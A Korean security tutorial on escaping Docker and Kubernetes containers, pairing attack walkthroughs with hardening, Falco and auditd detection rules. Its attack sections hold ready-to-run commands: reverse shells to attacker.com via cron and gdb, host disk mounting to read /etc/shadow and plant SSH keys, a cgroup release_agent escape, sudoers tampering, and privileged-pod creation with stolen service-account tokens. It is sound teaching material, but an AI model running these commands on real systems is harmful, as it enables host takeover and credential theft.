/보안 기법/컨테이너 탈출 기법 — Docker/Kubernetes 취약점
시스템 침투2026-05-03

컨테이너 탈출 기법 — Docker/Kubernetes 취약점

---

#Docker#Kubernetes#Container Escape#컨테이너#runc#cgroup

기본 원리

컨테이너는 호스트 운영체제의 커널을 공유하면서도 격리된 환경을 제공한다. 이 격리는 Linux 커널의 두 가지 핵심 메커니즘으로 구현된다.

네임스페이스(Namespaces): 프로세스, 네트워크, 마운트, UTS(호스트명), IPC, 사용자 ID 등을 격리한다. 컨테이너 내부의 PID 1은 실제 호스트에서는 다른 PID를 가진 프로세스다.

컨트롤 그룹(cgroups): CPU, 메모리, I/O 등 리소스 사용량을 제한한다.

컨테이너 탈출(Container Escape)은 이 격리 메커니즘의 약점을 이용해 컨테이너 내부에서 호스트 시스템 또는 다른 컨테이너로 접근권을 확보하는 공격이다. 탈출에 성공하면 호스트의 루트 권한을 획득하거나, Kubernetes 클러스터 전체를 장악할 수 있다.

왜 격리가 불완전한가

컨테이너는 VM(가상머신)과 달리 하이퍼바이저가 없다. 모든 컨테이너는 동일한 호스트 커널 위에서 동작하므로, 커널 취약점은 모든 컨테이너에 영향을 미친다. 또한 잘못된 설정(privileged 모드, 위험한 capability, 볼륨 마운트 등)은 격리를 직접 무력화한다.

┌─────────────────────────────────────────┐
│            Host Kernel                  │
├──────────────┬──────────────────────────┤
│ Container A  │  Container B             │
│ (격리된 뷰)  │  (격리된 뷰)             │
│              │                          │
│  namespace   │  namespace               │
│  cgroups     │  cgroups                 │
└──────────────┴──────────────────────────┘
  커널은 공유됨 → 커널 취약점 = 전체 영향

주요 탈출 벡터

1. Privileged 컨테이너 악용

--privileged 플래그로 실행된 컨테이너는 호스트의 모든 디바이스에 접근할 수 있고, 거의 모든 Linux capability를 가진다. 이는 컨테이너 격리를 사실상 무효화한다.

# 취약한 컨테이너 실행 (공격자가 접근한 상태 가정)
docker run --privileged -it ubuntu /bin/bash

# 컨테이너 내부에서 호스트 파일시스템 마운트
fdisk -l  # 호스트 디스크 목록 확인
# 출력: /dev/sda1, /dev/sda2 등

mkdir /mnt/host
mount /dev/sda1 /mnt/host

# 호스트의 /etc/shadow 읽기
cat /mnt/host/etc/shadow

# 호스트에 SSH 키 추가
echo "ssh-rsa AAAA..." >> /mnt/host/root/.ssh/authorized_keys

# 호스트에서 임의 코드 실행 (cron 활용)
echo "* * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1" \
  >> /mnt/host/etc/cron.d/backdoor

이 방법으로 컨테이너 내부에서 호스트 파일시스템에 완전히 접근할 수 있다.

2. Docker 소켓 마운트

/var/run/docker.sock이 컨테이너 내부에 마운트되어 있으면, 컨테이너 내부에서 호스트의 Docker 데몬을 직접 제어할 수 있다.

# 컨테이너 내부에서 Docker 소켓 확인
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 May  3 00:00 /var/run/docker.sock

# Docker CLI 또는 curl로 새 컨테이너 생성 (호스트 루트 마운트)
docker run -v /:/mnt --rm -it ubuntu chroot /mnt

# curl로 직접 Docker API 호출 (Docker CLI 없을 때)
curl --unix-socket /var/run/docker.sock \
  -H "Content-Type: application/json" \
  -d '{"Image":"ubuntu","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/mnt"]}}' \
  http://localhost/containers/create

# 생성된 컨테이너 시작 후 exec
CONTAINER_ID=$(curl --unix-socket /var/run/docker.sock \
  http://localhost/containers/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['Id'])")

3. 위험한 Linux Capability

컨테이너에 불필요한 capability가 부여되면 탈출이 가능하다.

CAP_SYS_ADMIN — 가장 위험한 capability. 마운트, 디바이스 접근, 커널 파라미터 변경 등을 허용한다.

# CAP_SYS_ADMIN으로 cgroups release_agent 악용
# (CVE-2022-0492 계열 기법)

# 컨테이너 내부에서 실행
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

# notify_on_release 활성화
echo 1 > /tmp/cgrp/x/notify_on_release

# 호스트에서 실행될 경로 확인
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

# 실행할 페이로드 작성
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "id > $host_path/output" >> /cmd
chmod a+x /cmd

# 트리거: cgroup에서 프로세스 제거
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# 결과 확인 (호스트의 id 명령 실행 결과)
cat /output
# uid=0(root) gid=0(root) groups=0(root)

CAP_NET_ADMIN — 네트워크 인터페이스 조작, 방화벽 규칙 변경.

CAP_SYS_PTRACE — 다른 프로세스의 메모리를 읽고 쓸 수 있다.

# CAP_SYS_PTRACE로 호스트 프로세스 인젝션
# 호스트에서 실행 중인 프로세스 PID 찾기
cat /proc/1/status  # 호스트의 init/systemd

# gdb를 이용한 프로세스 인젝션
gdb -p <HOST_PID>
(gdb) call (void)system("bash -i >& /dev/tcp/attacker.com/4444 0>&1")

4. 호스트 경로 마운트

민감한 호스트 경로가 컨테이너에 마운트되면 탈출 또는 횡이동이 가능하다.

# 취약한 Kubernetes Pod 설정
apiVersion: v1
kind: Pod
spec:
  containers:
  - name: app
    image: myapp:latest
    volumeMounts:
    - mountPath: /host-etc
      name: host-etc
    - mountPath: /var/run/docker.sock
      name: docker-sock
  volumes:
  - name: host-etc
    hostPath:
      path: /etc          # 호스트 /etc 마운트
  - name: docker-sock
    hostPath:
      path: /var/run/docker.sock
# /etc가 마운트된 컨테이너에서
# sudoers 수정으로 권한 상승
echo "ALL ALL=(ALL) NOPASSWD:ALL" >> /host-etc/sudoers

# /proc/sysrq-trigger 마운트 시 시스템 재부팅 가능
echo b > /proc/sysrq-trigger

5. 커널 취약점 (CVE 기반)

컨테이너와 호스트가 커널을 공유하므로, 커널 취약점은 컨테이너 탈출에 직접 사용된다.

runc 취약점 (CVE-2019-5736): runc 바이너리 자체를 덮어쓰는 공격.

# 악성 컨테이너 이미지의 엔트리포인트
# runc가 /proc/self/exe를 통해 컨테이너를 시작할 때 이를 악용

# 개념적 설명 (실제 exploit 코드는 생략)
# 1. 컨테이너 시작 시 runc가 /proc/self/exe 링크를 따라감
# 2. 공격자가 심볼릭 링크를 조작해 runc 바이너리를 덮어씀
# 3. 다음 docker exec 시 호스트에서 임의 코드 실행

Dirty Pipe (CVE-2022-0847): Linux 5.8 이상에서 읽기 전용 파일 덮어쓰기.

// 개념적 코드 - /etc/passwd의 루트 비밀번호 제거
// pipe의 PIPE_BUF_FLAG_CAN_MERGE 플래그 버그 악용
// 실제로는 컨테이너 내부에서 호스트의 setuid 바이너리 덮어쓰기 가능

6. Kubernetes 클러스터 탈출

컨테이너에서 호스트로 나온 후, 또는 서비스 어카운트 토큰을 이용해 Kubernetes API 서버를 공격한다.

# 컨테이너 내부에서 서비스 어카운트 토큰 확인
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Kubernetes API 서버 접근
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# 클러스터 내 Pod 목록 조회
curl -s $APISERVER/api/v1/namespaces/$NAMESPACE/pods \
  --header "Authorization: Bearer $TOKEN" \
  --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# 권한이 충분하다면 새로운 privileged Pod 생성
curl -s $APISERVER/api/v1/namespaces/kube-system/pods \
  --header "Authorization: Bearer $TOKEN" \
  --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {"name": "escape-pod"},
    "spec": {
      "hostPID": true,
      "hostNetwork": true,
      "containers": [{
        "name": "escape",
        "image": "ubuntu",
        "securityContext": {"privileged": true},
        "volumeMounts": [{"mountPath": "/host", "name": "host-root"}]
      }],
      "volumes": [{"name": "host-root", "hostPath": {"path": "/"}}]
    }
  }'

방어 방법

1. 컨테이너 런타임 보안 강화

# docker-compose.yml - 최소 권한 원칙 적용
version: '3.8'
services:
  app:
    image: myapp:latest
    # privileged 절대 사용 금지
    # user: 루트 이외의 사용자 지정
    user: "1000:1000"
    read_only: true  # 파일시스템 읽기 전용
    security_opt:
      - no-new-privileges:true  # setuid/setgid 비트 무효화
      - seccomp:default         # seccomp 프로파일 적용
      - apparmor:docker-default # AppArmor 프로파일 적용
    cap_drop:
      - ALL  # 모든 capability 제거
    cap_add:
      - NET_BIND_SERVICE  # 필요한 것만 추가
    tmpfs:
      - /tmp  # 임시 쓰기 필요 영역만 tmpfs로
# Kubernetes SecurityContext 설정
apiVersion: v1
kind: Pod
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 2000
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop:
          - ALL

2. PodSecurityAdmission (Kubernetes 1.25+)

# 네임스페이스에 보안 정책 강제 적용
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

3. 런타임 보안 도구 적용

Falco — 런타임 이상 행동 탐지:

# falco-rules.yaml
- rule: Container Escape Attempt
  desc: Detect privilege escalation attempts in containers
  condition: >
    spawned_process and container and
    (proc.name in (mount, fdisk, nsenter) or
     fd.name startswith /proc/sysrq or
     (proc.name = chmod and proc.args contains "+s"))
  output: >
    Possible container escape (user=%user.name command=%proc.cmdline
    container=%container.name image=%container.image.repository)
  priority: CRITICAL

4. 이미지 보안

# 이미지 취약점 스캔
trivy image myapp:latest

# 루트리스 컨테이너 빌드
# Dockerfile 예시
FROM node:18-alpine
# 루트로 패키지 설치 후
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
USER appuser  # 이후는 비루트로 실행
WORKDIR /app
COPY --chown=appuser:appgroup . .

5. 네트워크 정책

# Kubernetes NetworkPolicy - 기본 차단
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress

탐지 방법

시스템 콜 모니터링

컨테이너 탈출은 특정 시스템 콜 패턴을 남긴다:

# strace로 의심스러운 프로세스 추적
strace -p <PID> -e trace=mount,open,execve 2>&1 | grep -E "(mount|/proc/sysrq|/dev/sd)"

# auditd 규칙 설정
cat >> /etc/audit/rules.d/container-escape.rules << 'EOF'
# 마운트 시스템콜 감사
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F key=container_mount
# nsenter 실행 감사
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/nsenter -F key=nsenter
# /proc/sysrq 접근 감사
-w /proc/sysrq-trigger -p w -k sysrq_trigger
EOF

augenrules --load

Falco 기반 탐지

# Falco 설치 및 실행
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
  --set falco.grpc.enabled=true \
  --set falco.grpcOutput.enabled=true \
  --namespace falco --create-namespace

# 탐지 이벤트 확인
kubectl logs -l app.kubernetes.io/name=falco -n falco | grep "CRITICAL\|WARNING"

컨테이너 내부 이상 징후

# 컨테이너에서 비정상적으로 마운트된 경로 확인
docker inspect <CONTAINER_ID> | jq '.[].HostConfig.Binds'
docker inspect <CONTAINER_ID> | jq '.[].HostConfig.Privileged'

# 실행 중인 컨테이너의 capability 확인
docker inspect <CONTAINER_ID> | jq '.[].HostConfig.CapAdd'

# /proc/1/mountinfo로 네임스페이스 탈출 시도 탐지
# 컨테이너 내부에서 호스트 디바이스가 보이면 위험
grep -v "overlay\|proc\|tmpfs\|sysfs\|devpts\|mqueue\|shm\|cgroup" /proc/1/mountinfo

이미지 무결성 검증

# Cosign으로 이미지 서명 검증
cosign verify --certificate-identity=signer@example.com \
  --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
  myapp:latest

# 빌드 파이프라인에서 자동 검증
# Kubernetes admission controller (Kyverno) 예시
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signature
spec:
  validationFailureAction: Enforce
  rules:
  - name: check-signature
    match:
      resources:
        kinds: [Pod]
    verifyImages:
    - imageReferences: ["myregistry.io/*"]
      attestors:
      - entries:
        - keyless:
            subject: "https://github.com/myorg/*"
            issuer: "https://token.actions.githubusercontent.com"

참고 도구 및 자원

도구/자원 분류 설명 링크
Falco 런타임 탐지 컨테이너 런타임 이상 행동 탐지 CNCF 프로젝트 falco.org
Trivy 취약점 스캔 이미지/코드/설정 취약점 스캔 aquasecurity.github.io/trivy
Grype 취약점 스캔 Anchore의 컨테이너 이미지 취약점 스캐너 github.com/anchore/grype
kube-bench 설정 감사 CIS Kubernetes Benchmark 자동 검사 github.com/aquasecurity/kube-bench
kube-hunter 침투 테스트 Kubernetes 클러스터 취약점 능동 탐색 github.com/aquasecurity/kube-hunter
Sysdig 모니터링 컨테이너 포렌식 및 런타임 보안 sysdig.com
OPA/Gatekeeper 정책 엔진 Kubernetes 정책 강제 적용 openpolicyagent.org
Kyverno 정책 엔진 Kubernetes-native 정책 관리 kyverno.io
Cosign 이미지 서명 컨테이너 이미지 서명/검증 sigstore.dev
NeuVector 런타임 보안 풀스택 컨테이너 보안 플랫폼 neuvector.com
CDK 공격 도구 컨테이너 취약점 탐색 도구 (연구용) github.com/cdk-team/CDK
deepce 공격 도구 Docker 탈출/권한 상승 탐색 (연구용) github.com/stealthcopter/deepce

⚠️ 주의사항: 이 문서에 포함된 기법과 도구는 자신이 소유하거나 명시적 허가를 받은 시스템에서만 사용해야 한다. 무단으로 타인의 컨테이너 또는 인프라에 접근하는 행위는 컴퓨터 관련 법률(정보통신망법, 정보보호법 등)에 따라 형사 처벌을 받을 수 있다. 또한 클라우드 환경에서의 탈출 시도는 서비스 약관(ToS) 위반에 해당할 수 있다. 보안 연구 목적이라도 반드시 격리된 랩 환경(로컬 Kind/Minikube, 전용 테스트 클러스터)을 사용하고, 프로덕션 시스템에는 절대 적용하지 않는다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.